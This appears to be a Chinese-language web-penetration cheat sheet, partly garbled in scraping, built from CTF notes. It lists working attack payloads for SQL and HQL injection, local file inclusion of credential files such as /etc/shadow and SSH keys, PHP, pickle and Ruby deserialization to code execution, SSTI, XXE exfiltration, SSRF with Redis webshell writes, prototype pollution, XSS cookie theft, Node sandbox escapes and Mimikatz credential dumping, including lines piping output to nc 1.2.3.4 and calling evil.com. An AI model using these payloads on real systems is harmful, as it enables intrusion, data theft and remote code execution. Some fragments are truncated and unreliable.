- SELECT DBMS_JA.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/bash','-c','/bin/ls|/usr/bin/nc 1.2.3.4 1234') FROM DUAL;
- DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
- 利用 PL/SQL Injection 提權
- 影響版本: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2 -
dbms_xmlquery.newcontext
- 執行多語句
- 影響版本: oracle 10g, 11g 等,高版本已修復特殊用法
- DBMS_XMLGEN.getXML('select user from dual')SQLite
子字串:
- substr(“abc",1,1) => 'a'
Ascii function:
- unicode('d') => 100
legth
- length('ab') => 2
Concatenation
- ||
- 'a' || 'b' => 'ab'
Time Delay
- randomblob(100000000)
空白字元
- 0A 0D 0C 09 20
Case when
- SQLite 沒有 if
- 可以用 Case When ... Then ... 代替
- case when (條件) then ... else ... end
註解
- --
爆表名
- SELECT name FROM sqlite_master WHERE type='table'
爆表結構(含 Column)
- SELECT sql FROM sqlite_master WHERE type='table'
其他
- sqlite_()
- sqlite 無法使用 \' 跳脫單引號
- [] 神奇用法
- CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;
- CREATE TABLE 後面也能接 SELECT condition
- zer0pts CTF 2020 - phpNantokaAdmin
Boolean Based: SECCON 2017 qual SqlSRF <details>
<summary><b>Click here to view script</b></summary>
</details>
PostgreSQL
子字串
- substr("abc", 1, 1) => 'a'
Ascii function
- ascii('x') => 120
Char function
- chr(65) => A
Concatenation
- ||
- 'a' || 'b' => 'ab'
Delay function
- pg_sleep(5)
- GENERATE_SERIES(1, 1000000)
- repeat('a', 10000000)
空白字元
- 0A 0D 0C 09 20
encode / decode
- encode('123\\000\\001', 'base64') => MTIzAAE=
- decode('MTIzAAE=', 'base64') => 123\000\001
不支援limit N, M
- limit a offset b 略過前 b 筆,抓出 a 筆出來
註解
- --
- /**/
$$ 取代引號
- SELECT $$This is a string$$
爆庫名
- SELECT datname FROM pg_database
爆表名
- SELECT tablename FROM pg_tables WHERE schemaname='dbname'
爆Column
- SELECT column_name FROM information_schema.columns WHERE table_name='admin'
Dump all
- array_to_string(array(select userid||':'||password from users),',')
列舉 pri
- SELECT * FROM pg_roles;
列舉用戶 hash
- SELECT usename, passwd FROM pg_shadow
RCE
- C–9193
- 在 9.3 版本實作了 COPY TO/FROM PROGRAM
- 版本 9.3 ~ 11.2 預設啟用
- 讓 super user 和任何在 pg_read_ser 群組的 user 可以執行任意指令
- 方法
- DROP TABLE IF EXISTS cmd_exec;
- CREATE TABLE cmd_exec(cmd_output text);
- COPY cmd_exec FROM PROGRAM 'id';
- SELECT * FROM cmd_exec;
- 版本 8.2 以前
- CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
- select system('id');
- UDF
- sqlmap udf:
- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
- SELECT sys_eval("id");
其它
- ()
- current\_database()
- user
- current_user
- SELECT usename FROM pg_user;
- getpgusername()
- current\_schema
- current\_query()
- inet\_ser()
- inet\_ser()
- inet\_client\_addr()
- inet\_client\_port()
- type con
- cast(count(*) as text)
- md5('abc')
- replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
- pg_read_file(filename, offset, length)
- 讀檔
- 只能讀 data_directory 下的
- pg_ls_dir(dirname)
- 列目錄內容
- 只能列 data_directory 下的
- PHP 的 pg_query() 可以多語句執行
- lo_import(), lo_get() 讀檔
- select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440
- select cast(lo_get(18440) as text) => secret_hereMS Access
沒有註解
- 某些情況可以用 %00, %16 來達到類似效果
沒有 Stacked Queries
沒有 Limit
- 可以用 TOP, LAST 取代
- 'UNION SELECT TOP 5 xxx FROM yyy%00
沒有 Sleep, Benchmark, ...
支援 Subquery
- 'AND (SELECT TOP 1 'xxx' FROM table)%00
在 subquery 或 Union select 時,需要指定 FROM
String Concatenation
- & (%26)
- + (%2B)
- 'UNION SELECT 'aa' %2b 'bb' FROM table%00
Ascii Function
- ASC()
- 'UNION SELECT ASC('A') FROM table%00
Substring Function
- Mid()
- Mid('admin',1,1)
IF THEN
- IFF(condition, true, false)
- 'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
Ref
- ORM injection
Hibernate
- 不支援 UNION 語法
- 單引號跳脫法
- MySQL 中,單引號用 \' 跳脫
- HQL 中,用兩個單引號 '' 跳脫
- 'abc\''or 1=(SELECT 1)--'
- 在 HQL 是一個字串
- 在 MySQL 是字串+額外 SQL 語句
- Magic Function 法
- PostgreSQL 中內建 query_to_xml('Arbitary SQL')
- Oracle 中有 dbms_xmlgen.getxml('SQL')
- Ja
- 可以從 classpath 中去找 constant 來用
- 例如 ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR 在 MySQL 層就會被解成單引號 (在 HQL 層則不是)
- Example: DEVCORE Wargame 2024 - Spring
- /a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a
- HQL: 等同 /a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a
- MySQL: 等同 /a'*length('a')*'[shit]'-- [shit]
- 常見 Constants:
- org.apache.batik.util.XMLConstants.XML_CHAR_APOS
- com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE
- jodd.util.StringPool.SINGLE_QUOTE
- ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR
- cz.vutbr.web.csskit.OutputUtil.STRING_OPENING
- com.sun.java.help.impl.DocPConst.QUOTE
- org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE
- org.apache.logging.log4j.util.Chars.QUOTE
- Reference
-
- HQL injection example (pwn2win 2017)
- Output: ERROR: could not stat file "flag": No such file or directory
- Output: ERROR: could not stat file "secret": No such file or directory
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
- Output: ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directorySQL Injection with MD5
$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
ffifdyop
- md5: 276f722736c95d99e921722cf9ed621c
- to string: 'or'6<trash>HTTP Parameter Pollution
id=1&id=2&id=3
- ASP.NET + IIS: id=1,2,3
- ASP + IIS: id=1,2,3
- PHP + Apache: id=3SQLmap
Usage
- python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
- 庫名: --dbs
- 表名: -D dbname --tables
- column: -D dbname -T tbname --columns
- dump: -D dbname -T tbname --dump
- --start=1
- --stop=5566
- DBA? --is-dba
- 爆帳密: --passwords
- 看權限: --pri
- 拿shell: --os-shell
- interative SQL: --sql-shell
- 讀檔: --file-read=/etc/passwd
- Delay時間: --time-sec=10
- User-Agent: --random-agent
- Thread: --threads=10
- Level: --level=3
- default: 1
- --technique
- default: BEUSTQ
- Cookie: --cookie="abc=55667788"
- Tor: --tor --check-tor --tor-type=SOCKS5 --tor-port=9050LFI
Testing Payload
Linux / Unix
Common Payload
- ./index.php
- ././index.php
- .//index.php
- ../../../../../../etc/passwd
- ../../../../../../etc/passwd%00
- 僅在 5.3.0 以下可用
- magic_quotes_gpc 需為OFF
- ....//....//....//....//etc/passwd
- %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
- %252e/%252e/etc/passwd
- NN/NN/NN/etc/passwd
- .+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
- static\..\..\..\..\..\..\..\..\etc\passwdConfig
- /usr/local/apache2/conf/httpd.conf
- /usr/local/etc/apache2/httpd.conf
- /usr/local/nginx/conf/nginx.conf
- /etc/apache2/sites-a/000-default.conf
- /etc/apache2/apache2.conf
- /etc/apache2/httpd.conf
- /etc/httpd/conf/httpd.conf
- /etc/nginx/conf.d/default.conf
- /etc/nginx/nginx.conf
- /etc/nginx/sites-enabled/default
- /etc/nginx/sites-enabled/default.conf
- /etc/mysql/my.cnf
- /etc/resolv.conf
- /etc/named.conf
- /etc/rsyslog.conf
- /etc/samba/smb.conf
- /etc/openldap/slapd.conf
- /etc/mongod.conf
- /etc/krb5.conf
- ~/.tmux.conf
- ~/.mongorc.js
- $TOMCAT_HOME/conf/tomcat-users.xml
- $TOMCAT_HOME/conf/server.xmlLog
- /var/log/apache2/error.log
- /var/log/httpd/access_log
- /var/log/mail.log
- /var/log/auth.log
- /var/log/messages
- /var/log/secure
- /var/log/sshd.log
- /var/log/mysqld.log
- /var/log/mongodb/mongod.log
- .pm2/pm2.log
- $TOMCAT_HOME/logs/catalina.outHistory
- .history
- .bash_history
- .sh_history
- .zsh_history
- .
- .php_history
- .mysql_history
- .dbshell
- .histfile
- .node_repl_history
- .python_history
- .scapy_history
- .sqlite_history
- .psql_history
- .rediscli_history
- .coffee_history
- .lesshst
- .wget-hsts
- .config/fish/fish_history
- .local/share/fish/fish_history
- .ipython/profile_default/history.sqlite其他
- /proc/self/cmdline
- /proc/self/fd/[0-9]*
- /proc/self/environ
- /proc/net/fib_trie
- /proc/mounts
- /proc/net/arp
- /proc/net/tcp
- /proc/sched_debug
- .htaccess
- ~/.bashrc
- ~/.bash_profile
- ~/.bash_logout
- ~/.zshrc
- ~/.aws/config
- ~/.aws/credentials
- ~/.boto
- ~/.s3cfg
- ~/.gitconfig
- ~/.config/git/config
- ~/.git-credentials
- ~/.env
- /etc/passwd
- /etc/shadow
- /etc/hosts
- /etc/rc.d/rc.local
- /etc/boto.cfg
- /root/.ssh/id_rsa
- /root/.ssh/authorized_keys
- /root/.ssh/known_hosts
- /root/.ssh/config
- /etc/sysconfig/network-scripts/ifcfg-eth0
- /etc/exports
- /etc/crontab
- //cron/root
- //cron/crontabs/root
- /var/mail/<username>Windows
C:/Windows/win.ini
C:/boot.ini
C:/apache/logs/access.log
../../../../../../../../../boot.ini/.......................
C:\Windows\System32\drivers\etc\hosts
C:\WINDOWS\System32\Config\SAM
C:/WINDOWS/repair/sam
C:/WINDOWS/repair/system
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\system
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\iis[].log
%WINDIR%\debug\NetSetup.log
%SYSTEMDRI.bat
C:\Documents and Settings\All Users\Application Data\Git\config
C:\ProgramData\Git\config
$en\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.config
C:\Windows\System32\inetsr\ApplicationHost.config
C:\WINDOWS\debug\NetSetup.log
C:\WINDOWS\pfro.log
C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config環境變數
../../../../proc/self/environ
- HTTP_User_Agent塞php scriptphp://filter
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-decode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/resource=index.php
php://filter/zlib.inflate/resource=index.php
php://filter/convert.quoted-printable-encode/resource=index.php
php://filter/read=string.strip_tags/resource=php://input
php://filter/convert.icon.UCS-2BE/resource=index.php
php://filter/convert.icon.UCS-4BE/resource=index.php
...
進階玩法
- LFI RCE without controlling any file:
- Memory Limit Oracle to read local file:
- Example:
- hxp ctf 2021 - includer's revenge
- CakeCTF 2022 - ImageSurfing
- DownUnderCTF 2022 - minimal-php
- blaklisctf - chall3
- HITCON CTF 2022 - web2pdf
- N1CTF 2023 - laravel
php://input
?page=php://input
- post data: <?php system("net user"); ?>
- 需要有開啟 url_allow_include,5.4.0 直接廢除phpinfo
對 server 以 form-data 上傳文件,會產生 tmp 檔
利用 phpinfo 得到 tmp 檔路徑和名稱
LFI Get shell
限制
- Ubuntu 17 後,預設開啟 Pri,無法利用php session
Session 一般存在 sess_{PHPSESSID} 中
可以透過修改 Cookie 再 LFI 拿 shell
以下為常見存放路徑
- /var/tmp/
- /tmp/
- /var/lib/php5/
- /var/lib/php/
- C:\windows\temp\sess_<PHPSESSID>
- windows
session.upload_progress
- PHP 預設開啟
- 用來監控上傳檔案進度
- 當 session.upload_progress.enabled 開啟,可以 POST 在 $_SESSION 中添加資料 (sess_{PHPSESSID})
- 配合 LFI 可以 getshell
- session.upload_progress.cleanup=on 時,可以透過 Race condition
- 上傳 zip
- 開頭會有 upload_progress_,結尾也有多餘資料,導致上傳 zip 正常狀況無法解析
- 利用 zip 格式鬆散特性,刪除前 16 bytes 或是手動修正 EOCD 和 CDH 的 offset 後上傳,可以讓 php 正常解析 zip
- Example
- HITCON CTF 2018 - One Line PHP Challenge
- 0CTF 2021 Qual - 1linephpPEAR
條件
- 安裝 pear (pearcmd.php)
- 有開 register_argc_argv
寫檔
- 法一: /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
- 法二: /?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
- 法三: /?+download+
- 法四: /?+channel-disco.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
- 302.php 會跳轉到 test.php 做下載
安裝 package
- /?+install+--force+--installroot+/tmp/wtf+
Command Injection
- /?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archi.4.14
- /?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archi.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
- /?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archi+&file=/usr/local/lib/php/pearcmd.php&
Command Injection 2
- 不用寫檔、需要有 phpt file
- /?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
Example
- Balsn CTF 2021 - 2linephp
- 巅峰极客2020 - MeowWorld
- SEETF 2023 - readonltNginx buffering
當 Request body 過大或是 fastcgi ser 過大,超過 buffer size 時,其內容會保存到暫存檔中 (reference)
- 會在 /var/lib/nginx/body/, /var/lib/nginx/fastcgi/ 下建立暫存檔
- 但該暫存檔會馬上被刪除
- 可以透過 /proc/<nginx worker pid>/fd/<fd> 來取得被刪除的檔案內容
- php 的 include() 會將 fd 路徑解析成 /var/lib/nginx/body/0000001337 (deleted) 格式,導致引入失敗
- 可以用以下方式繞過
- /proc/self/fd/34/../../../34/fd/15
- /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15Example
- hxp ctf 2021 - includer's revenge
- hxp ctf 2021 - counterdata://
條件
- allow_url_fopen: On
- allow_url_include: On
用法
- ?file=data://text/plain,<?php phpinfo()?>
- ?file=data:text/plain,<?php phpinfo()?>
- ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=zip / phar
適用驗證副檔名時
zip
- 新建 zip,裡頭壓縮 php 腳本(可改副檔名)
- ?file=zip://myzip.zip#php.jpg
- Example
- 0CTF 2021 Qual - 1linephp
phar
-
<FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="query";
Content-Type: image/jpeg&action=search&query=aaa'or''='
meow
--x--
Content-Type: multipart/form-data; boundary=x
--x\0
Content-Disposition: form-data; name="path";
../../../../etc/passwd
--x\0
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
--x
Content-Disposition: form-data; name="test";
Content-Type: text/plain
--y
Content-Disposition: form-data; name="msg";
Content-Type: text/plain
1
--y--
--x--
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
--x
Content-Disposition: form-data; name="x";
1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";
--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="JScript"%><%e.Item["x"],"unsafe");%>
--y:--
--x--
php
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
php
<?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
<?php
class TestObject {
}
("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
<?php
class FLAG{}
$obj=serialize(new FLAG());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchi);
$zip->addFromString('test.txt', 'meow');
$zip->setArchi($obj);
$zip->close();
// trigger: phar://test.zip
<?php
//("trigger.tar");
class FLAG{}
$phar = new PharData("trigger.tar");
$phar["kaibro"] = "meow";
$obj = new FLAG();
$phar->setMetadata($obj);
// trigger: phar://trigger.tar
python
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
python
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
ruby
erb = ERB.allocate
erb.instance_ :@src, "
id"
depr = Acti::Deprecation::DeprecatedInstance.new erb, :result, "foo", Acti::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled
ruby
xml = %{
<?xml ="1.0" encoding="UTF-8"?>
<bingo type='yaml'>
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
'test; sleep(10); test' :
!ruby/object:OpenStruct
table:
:defaults: {}
</bingo> }.strip
java
ResourceRef ref = new ResourceRef(RESOURCECLASS , null, "", "", true, FACTORY, null);
ref.add(new StringRefAddr("forceString", "x=FUNC_NAME"));
ref.add(new StringRefAddr("x",VALUE));
python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b'eval'.popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
python
userdata = {"user" : "kaibro", "password" : "ggininder" }
passwd = raw_input("Password: ")
if passwd != userdata["password"]:
print ("Password " + passwd + " is wrong for user %(user)s") % userdata
push graphic-context
0 0 640 480
fill 'url()'
pop graphic-context
xml
<xsl:stylesheet xmlns:xsl=" xmlns:abc=" ="1.0">
<xsl:include href="
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
#EXT-X-ENDLIST
127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0
::1
::127.0.0.1
::ffff:127.0.0.1
::1%1
127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io
(decimal)
]
FLUSHALL
SET myshell "<?php system($_GET['cmd']) ?>"
CONFIG SET DIR /www
CONFIG SET DBFILENAME shell.php
SAVE
QUIT
push graphic-context
0 0 640 480
fill 'url()'
pop graphic-context
dict://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0
-> libcurl
sftp://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2
-> ssh
xml
<!DOCTYPE kaibro[
<!ENTITY param "hello">
]>
<root>¶m;</root>
xml
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "
]>
<root>&xxe;</root>
xml
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
xml
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>
xml
<!DOCTYPE kaibro[
<!ENTITY % remote SYSTEM "
%remote;
]>
<root>&b;</root>
xml
<?xml ="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "
%remote;
%all;
%send;
]>
xml
<!ENTITY % all "<!ENTITY % send SYSTEM '
xml
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "
%dtd;
%all;
]>
<root>&f;</root>
xml
<!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">
xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
xml
<?xml ="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
<s="500px" height="100px" xmlns=" xmlns:xlink=" ="1.1">
<text font-family="" font-size="16" x="10" y="40">&xxe;</text>
</svg>
xml
<?xml ="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>
xml
<?xml ="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "
%dtd;%ftp;%send;
]>
<ANY>xxe</ANY>
xml
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">
xml
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:pass@127.0.0.1:2121/%file;'>">
xml
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM " %dtd;]><xxx/>]]>
</foo>
</soap:Body>
xml
<?xml ="1.0" encoding="UTF-8"?>
<root xmlns:xi="
<xi:include href="
</root>
xml
<xsl:stylesheet xmlns:xsl=" xmlns:abc=" ="1.0">
<xsl:template match="/">
<xsl: select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
ja
goodshit = {}
goodshit.__proto__.password = "ggininder"
user = {}
console.log(user.password)
=> ggininder
ja
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
=> 1 2
o3 = {}
console.log(o3.b)
=> 2
ja
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
ja
var _= require('lodash');
= '{"__proto__":{"oops":"It works !"}}';
var a = {};
_.merge({}, JSON.parse(malicious_payload));
ja
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
NODE_OPTIONS : '-r /proc/self/environ'
};
// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());
ja
({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
ja
({}).__proto__.NODE_OPTIONS =
--experimental-loader="data:text/ja,console.log('injection');";
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
ja
const child_process = require('child_process');Object.prototype.shell = 'node';
Object.prototype.env = {
NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
NODE_OPTIONS : '-r /proc/self/environ'
};
child_process.execSync('id');
ja
a = {}
a["__proto__"]["exports"] = {".":"./pwn.js"}
a["__proto__"]["1"] = "./"
require("./index.js")
json
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./preinstall.js"
},
"path":"/opt/yarn-v1.22.19/",
"shell":"sh",
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"wget\u0020);echo"
}
}
],
}
}
onmouseo(1) x= src=# xml
<?xml ="1.0" standalone="no"?>
<!DOCTYPE s "-//W3C//DTD SVG 1.1//EN" "<s="1.1" baseProfile="full" xmlns="
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/ja">
alert(document.domain);
</script>
</svg>
html
<iframe srcdoc="<svg/onload=alert(document.domain)>">
RIFF
....WAVE...
alert(1);
function RIFF(){} <p>可控內容<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
<p><script src="http//kaibro.tw/uccu.js" a="<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
ja
async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();
Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch(' + escape(document.cookie))
</script>
----foo----
html
<form id=test1></form>
<form name=test2></form>
<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>
html
<form name="getElementById"></form>
<form id="form"></form>
<script>
console.log(document.getElementById("form")); // Error
</script>
<script>
console.log("I'll be executed!");
</script>
html
<form id=test1><input name=test2></form>
<script>
alert(test1.test2); // "[object HTMLInputElement]"
</script>
html
<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>
html
<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2); // x:alert(1)
</script>
python
import jwt
public = open('public.pem', 'r').read() # public key
prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
location /files {
alias /home/
}
> "123456".replace("34", "xx")
'12xx56'
> "123456".replace("34", "$
")]+$/g Functiona${return constructor}{constructor} ${constructor} return flag ja
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
ja
a = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule
.require('child_process')
.execSync('echo "flag is here" > flag');
}
ja
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
ja
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
ja
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
)
}
}
};
p.then(); #define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
java
(value = "/home", method = RequestMethod.GET)
public String home( User user, Model model) {
if (showSecret){
model.addAttribute("firstSecret", firstSecret);
}
return "home";
}
# butit still works
A.192.168.1.1.fore.network
#alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
#first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.fore.network
#respond with 52.23.194.42 the first time, then whatever
whonow--default-address
# isset to fore that (default: 127.0.0.1)
A.52.23.194.42.1time.rebind.network
`
- rbndr.us
- 36573657.7f000001.rbndr.us
- Example
- BalsnCTF 2019 - 卍乂Oo韓國魚oO乂卍
- DEFCON CTF 2019 Qual - ooops
- Encoding con Mimikatz
- 撈密碼
- mimikatz.exe pri::debug sekurlsa::logonpasswords full exit >> log.txt
- powershell 無文件: powershell "IEX (New-Object Net.WebClient).DownloadString('); In -DumpCreds"
- Pass The Hash
- sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a
